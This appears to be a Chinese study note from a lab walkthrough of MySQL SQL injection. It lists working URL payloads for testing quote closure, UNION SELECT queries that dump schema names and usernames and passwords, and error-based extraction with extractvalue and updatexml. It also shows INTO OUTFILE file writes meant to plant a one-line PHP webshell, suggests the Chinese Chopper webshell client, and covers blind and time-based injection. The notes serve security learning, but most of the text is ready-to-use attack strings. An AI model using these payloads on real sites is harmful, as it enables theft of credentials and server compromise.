2019-03-09
如果返回结果正常,说明不是数字类型
and 为两方都为真才算争取
?id=1' --+ 显示不正常 ?id=1') --+ 若显示正常,则该类型为字符注入,且以('')的方式闭合字符串,还有("")
--+ 是注释,因为浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。
小技巧:可以选择一个较大的数字来分组
id=-1' 是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整
通过查询到的数据库名查看表名 ?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='数据库名') --+
利用表名爆破列名 ?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
整合信息 ?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
若返回 Subjectquery returns more than 1 row 可能是因为限制了返回的字符长度 0x7e 是符号‘~’的十六进制
限制64位
select database() 可替换为其他查询语句 extractvalue(XML_document, XPath_string);
返回长度为32个字符长度
select database() 可替换为其他查询语句 updatexml(XML_document, XPath_string,new_value);
返回长度为32个字符长度
了解 file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限 into outfile:服务器上一个可以写入文件的文件夹的完整路径
将结果保存在本地文件 ?id=1')) union select 1,2,3 into outfile '有读取权限的路径\文件名.文件类型'; --+
注意使用''进行转义,即路径写为‘\’ 不会覆盖已存在的文件名
尝试一句话木马 ?id=1')) union selet 1,2,'' into outfile '有读取权限的路径\文件名.php'; --+
可尝试使用中国菜刀
注意MySQL 5.7版本之后into outfile默认是禁用的,需要重新走一下初始化
在ini或者cnf初始化文件中加入初始化设定 secure_file_priv=''
string(必需)规定要返回其中一部分的字符串 start(必需)规定开始位置(起始值为1) length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本
1.2 substr(string,start,length) 函数
string(必需)规定要返回其中一部分的字符串 start(必需)规定在字符串的何处开始 length(可选)规定被返回字符串的长度
1.3 left(string, length)函数
string(必需)规定要返回其中一部分的字符串 length(可选)规定被返回字符串的前length长度的字符
时间盲注原理 通过IF来判断我们输入是否正确,如果正确立刻返回,如果错误则延迟数秒返回。 网站关闭了错误回显或过滤了关键字,网页只会返回状态。
测试
Please input the ID as parameter with numeric value
错误排除:可能书写为?id = 1 ,不要有多余的空格,应该写为?id=1
tips:Your personal homepage URL will be publicly linked, but your email address will not be publicly displayed; your IP address will be saved, but only your current city name will be publicly displayed.
comment